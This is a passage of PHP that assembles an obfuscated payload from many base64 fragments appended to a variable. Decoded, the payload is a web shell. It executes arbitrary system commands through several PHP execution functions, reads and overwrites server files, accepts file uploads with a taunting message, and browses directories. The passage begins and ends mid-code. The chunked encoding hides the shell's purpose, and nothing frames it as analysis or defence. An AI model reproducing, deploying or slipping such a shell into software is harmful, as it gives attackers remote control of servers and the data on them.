$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "YXJy";
$z .= "YXlf";
$z .= "bWVy";
$z .= "Z2Uo";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnMs";
$z .= "ICRm";
$z .= "aWxl";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fSBj";
$z .= "YXRj";
$z .= "aCAo";
$z .= "RXhj";
$z .= "ZXB0";
$z .= "aW9u";
$z .= "ICRl";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "Tm9u";
$z .= "ZSc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "U2l6";
$z .= "ZSgk";
$z .= "c2l6";
$z .= "ZSkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "dW5p";
$z .= "dHMg";
$z .= "PSBh";
$z .= "cnJh";
$z .= "eSgn";
$z .= "Qics";
$z .= "ICdL";
$z .= "Qics";
$z .= "ICdN";
$z .= "Qics";
$z .= "ICdH";
$z .= "Qics";
$z .= "ICdU";
$z .= "Qicp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRp";
$z .= "ID0g";
$z .= "MDsN";
$z .= "CiAg";
$z .= "ICB3";
$z .= "aGls";
$z .= "ZSAo";
$z .= "JHNp";
$z .= "emUg";
$z .= "Pj0g";
$z .= "MTAy";
$z .= "NCAm";
$z .= "JiAk";
$z .= "aSA8";
$z .= "IDQp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHNp";
$z .= "emUg";
$z .= "Lz0g";
$z .= "MTAy";
$z .= "NDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGkr";
$z .= "KzsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "IHJv";
$z .= "dW5k";
$z .= "KCRz";
$z .= "aXpl";
$z .= "LCAy";
$z .= "KSAu";
$z .= "ICcg";
$z .= "JyAu";
$z .= "ICR1";
$z .= "bml0";
$z .= "c1sk";
$z .= "aV07";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBl";
$z .= "eGVj";
$z .= "dXRl";
$z .= "Q29t";
$z .= "bWFu";
$z .= "ZCgk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSA9";
$z .= "IGdl";
$z .= "dEN1";
$z .= "cnJl";
$z .= "bnRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnko";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCA9";
$z .= "ICJj";
$z .= "ZCAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSAm";
$z .= "JiAk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCI7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGVy";
$z .= "cm9y";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAv";
$z .= "LyBw";
$z .= "cm9j";
$z .= "X29w";
$z .= "ZW4N";
$z .= "CiAg";
$z .= "ICAk";
$z .= "ZGVz";
$z .= "Y3Jp";
$z .= "cHRv";
$z .= "cnMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDAg";
$z .= "PT4g";
$z .= "Wydw";
$z .= "aXBl";
$z .= "Jywg";
$z .= "J3In";
$z .= "XSwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "MSA9";
$z .= "PiBb";
$z .= "J3Bp";
$z .= "cGUn";
$z .= "LCAn";
$z .= "dydd";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAy";
$z .= "ID0+";
$z .= "IFsn";
$z .= "cGlw";
$z .= "ZScs";
$z .= "ICd3";
$z .= "J10s";
$z .= "DQog";
$z .= "ICAg";
$z .= "XTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICRw";
$z .= "cm9j";
$z .= "ZXNz";
$z .= "ID0g";
$z .= "QHBy";
$z .= "b2Nf";
$z .= "b3Bl";
$z .= "bigk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JGRl";
$z .= "c2Ny";
$z .= "aXB0";
$z .= "b3Jz";
$z .= "LCAk";
$z .= "cGlw";
$z .= "ZXMp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X3Jl";
$z .= "c291";
$z .= "cmNl";
$z .= "KCRw";
$z .= "cm9j";
$z .= "ZXNz";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBp";
$z .= "cGVz";
$z .= "WzBd";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "c3Ry";
$z .= "ZWFt";
$z .= "X2dl";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "cGlw";
$z .= "ZXNb";
$z .= "MV0p";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBp";
$z .= "cGVz";
$z .= "WzFd";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSBz";
$z .= "dHJl";
$z .= "YW1f";
$z .= "Z2V0";
$z .= "X2Nv";
$z .= "bnRl";
$z .= "bnRz";
$z .= "KCRw";
$z .= "aXBl";
$z .= "c1sy";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZj";
$z .= "bG9z";
$z .= "ZSgk";
$z .= "cGlw";
$z .= "ZXNb";
$z .= "Ml0p";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRy";
$z .= "ZXR1";
$z .= "cm5W";
$z .= "YWx1";
$z .= "ZSA9";
$z .= "IHBy";
$z .= "b2Nf";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBy";
$z .= "b2Nl";
$z .= "c3Mp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQg";
$z .= "PSB0";
$z .= "cmlt";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSB0";
$z .= "cmlt";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cik7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRy";
$z .= "ZXR1";
$z .= "cm5W";
$z .= "YWx1";
$z .= "ZSA9";
$z .= "PT0g";
$z .= "MCAm";
$z .= "JiAh";
$z .= "ZW1w";
$z .= "dHko";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Vp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "ZXJy";
$z .= "b3I7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAv";
$z .= "LyBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHNo";
$z .= "ZWxs";
$z .= "T3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "JGNv";
$z .= "bW1h";
$z .= "bmQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "c2hl";
$z .= "bGxP";
$z .= "dXRw";
$z .= "dXQg";
$z .= "IT09";
$z .= "IG51";
$z .= "bGwp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IHRy";
$z .= "aW0o";
$z .= "JHNo";
$z .= "ZWxs";
$z .= "T3V0";
$z .= "cHV0";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFl";
$z .= "bXB0";
$z .= "eSgk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQ7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSBl";
$z .= "cnJv";
$z .= "cl9n";
$z .= "ZXRf";
$z .= "bGFz";
$z .= "dCgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "ZXJy";
$z .= "b3Jb";
$z .= "J21l";
$z .= "c3Nh";
$z .= "Z2Un";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IGV4";
$z .= "ZWMN";
$z .= "CiAg";
$z .= "ICBA";
$z .= "ZXhl";
$z .= "Yygk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JGV4";
$z .= "ZWNP";
$z .= "dXRw";
$z .= "dXQs";
$z .= "ICRl";
$z .= "eGVj";
$z .= "U3Rh";
$z .= "dHVz";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "JGV4";
$z .= "ZWNT";
$z .= "dGF0";
$z .= "dXMg";
$z .= "PT09";
$z .= "IDAp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IGlt";
$z .= "cGxv";
$z .= "ZGUo";
$z .= "UEhQ";
$z .= "X0VP";
$z .= "TCwg";
$z .= "JGV4";
$z .= "ZWNP";
$z .= "dXRw";
$z .= "dXQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "DQog";
$z .= "ICAg";
$z .= "b2Jf";
$z .= "c3Rh";
$z .= "cnQo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBA";
$z .= "cGFz";
$z .= "c3Ro";
$z .= "cnUo";
$z .= "JGNv";
$z .= "bW1h";
$z .= "bmQs";
$z .= "ICRw";
$z .= "YXNz";
$z .= "dGhy";
$z .= "dVN0";
$z .= "YXR1";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "T3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "b2Jf";
$z .= "Z2V0";
$z .= "X2Ns";
$z .= "ZWFu";
$z .= "KCk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRw";
$z .= "YXNz";
$z .= "dGhy";
$z .= "dVN0";
$z .= "YXR1";
$z .= "cyA9";
$z .= "PT0g";
$z .= "MCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "JHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "T3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IHN5";
$z .= "c3Rl";
$z .= "bQ0K";
$z .= "ICAg";
$z .= "IG9i";
$z .= "X3N0";
$z .= "YXJ0";
$z .= "KCk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "QHN5";
$z .= "c3Rl";
$z .= "bSgk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JHN5";
$z .= "c3Rl";
$z .= "bVN0";
$z .= "YXR1";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHN5";
$z .= "c3Rl";
$z .= "bU91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IG9i";
$z .= "X2dl";
$z .= "dF9j";
$z .= "bGVh";
$z .= "bigp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "c3lz";
$z .= "dGVt";
$z .= "U3Rh";
$z .= "dHVz";
$z .= "ID09";
$z .= "PSAw";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQg";
$z .= "PSAk";
$z .= "c3lz";
$z .= "dGVt";
$z .= "T3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "cmVh";
$z .= "ZEZp";
$z .= "bGVD";
$z .= "b250";
$z .= "ZW50";
$z .= "KCRm";
$z .= "aWxl";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biBm";
$z .= "aWxl";
$z .= "X2dl";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZSk7";
$z .= "DQp9";
$z .= "DQoN";
$z .= "CmZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "IHNh";
$z .= "dmVG";
$z .= "aWxl";
$z .= "Q29u";
$z .= "dGVu";
$z .= "dCgk";
$z .= "Zmls";
$z .= "ZSkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "Wydj";
$z .= "b250";
$z .= "ZW50";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biBm";
$z .= "aWxl";
$z .= "X3B1";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZSwg";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "Wydj";
$z .= "b250";
$z .= "ZW50";
$z .= "J10p";
$z .= "ICE9";
$z .= "PSBm";
$z .= "YWxz";
$z .= "ZTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "IGZh";
$z .= "bHNl";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "dXBs";
$z .= "b2Fk";
$z .= "Rmls";
$z .= "ZSgk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRj";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "ID0g";
$z .= "Z2V0";
$z .= "Q3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZSA9";
$z .= "ICR0";
$z .= "YXJn";
$z .= "ZXRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkg";
$z .= "LiAn";
$z .= "Lycg";
$z .= "LiBi";
$z .= "YXNl";
$z .= "bmFt";
$z .= "ZSgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J11b";
$z .= "J25h";
$z .= "bWUn";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J11b";
$z .= "J3Np";
$z .= "emUn";
$z .= "XSA9";
$z .= "PT0g";
$z .= "MCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICdP";
$z .= "cGVu";
$z .= "IFVy";
$z .= "IEV5";
$z .= "ZXMg";
$z .= "Qml0";
$z .= "Y2gg";
$z .= "ISEh";
$z .= "Lic7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICht";
$z .= "b3Zl";
$z .= "X3Vw";
$z .= "bG9h";
$z .= "ZGVk";
$z .= "X2Zp";
$z .= "bGUo";
$z .= "JF9G";
$z .= "SUxF";
$z .= "U1sn";
$z .= "Zmls";
$z .= "ZSdd";
$z .= "Wyd0";
$z .= "bXBf";
$z .= "bmFt";
$z .= "ZSdd";
$z .= "LCAk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZSkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "Rmls";
$z .= "ZSB1";
$z .= "cGxv";
$z .= "YWRl";
$z .= "ZCBz";
$z .= "dWNj";
$z .= "ZXNz";
$z .= "ZnVs";
$z .= "bHku";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3Ig";
$z .= "dXBs";
$z .= "b2Fk";
$z .= "aW5n";
$z .= "IGZp";
$z .= "bGUu";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "Jyc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Y2hh";
$z .= "bmdl";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "cGF0";
$z .= "aCA9";
$z .= "PT0g";
$z .= "Jy4u";
$z .= "Jykg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBA";
$z .= "Y2hk";
$z .= "aXIo";
$z .= "Jy4u";
$z .= "Jyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "QGNo";
$z .= "ZGly";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBn";
$z .= "ZXRD";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KCkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "cmVh";
$z .= "bHBh";
$z .= "dGgo";
$z .= "Z2V0";
$z .= "Y3dk";
$z .= "KCkp";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "TGlu";
$z .= "aygk";
$z .= "cGF0";
$z .= "aCwg";
$z .= "JG5h";
$z .= "bWUp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Rp";
$z .= "cigk";
$z .= "cGF0";
$z .= "aCkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICc8";
$z .= "YSBo";
$z .= "cmVm";
$z .= "PSI/";
$z .= "ZGly";
$z .= "PScg";
$z .= "LiB1";
$z .= "cmxl";
$z .= "bmNv";
$z .= "ZGUo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "IC4g";
$z .= "JyI+";
$z .= "JyAu";
$z .= "ICRu";
$z .= "YW1l";
$z .= "IC4g";
$z .= "Jzwv";
$z .= "YT4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZWlm";
$z .= "IChp";
$z .= "c19m";
$z .= "aWxl";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "Jzxh";
$z .= "IGhy";
$z .= "ZWY9";
$z .= "Ij9k";
$z .= "aXI9";
$z .= "JyAu";
$z .= "IHVy";
$z .= "bGVu";
$z .= "Y29k";
$z .= "ZShk";
$z .= "aXJu";
$z .= "YW1l";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KSkg";
$z .= "LiAn";
$z .= "JmFt";
$z .= "cDty";
$z .= "ZWFk";
$z .= "PScg";
$z .= "LiB1";
$z .= "cmxl";
$z .= "bmNv";
$z .= "ZGUo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "IC4g";
$z .= "JyI+";
$z .= "JyAu";
$z .= "ICRu";
$z .= "YW1l";
$z .= "IC4g";
$z .= "Jzwv";
$z .= "YT4n";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "QXJy";
$z .= "YXko";
$z .= "JHBh";
$z .= "dGgp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGRp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "aWVz";
$z .= "ID0g";
$z .= "ZXhw";
$z .= "bG9k";
$z .= "ZSgn";
$z .= "Lycs";
$z .= "ICRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "ZGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "QXJy";
$z .= "YXkg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dFBh";
$z .= "dGgg";
$z .= "PSAn";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICBm";
$z .= "b3Jl";
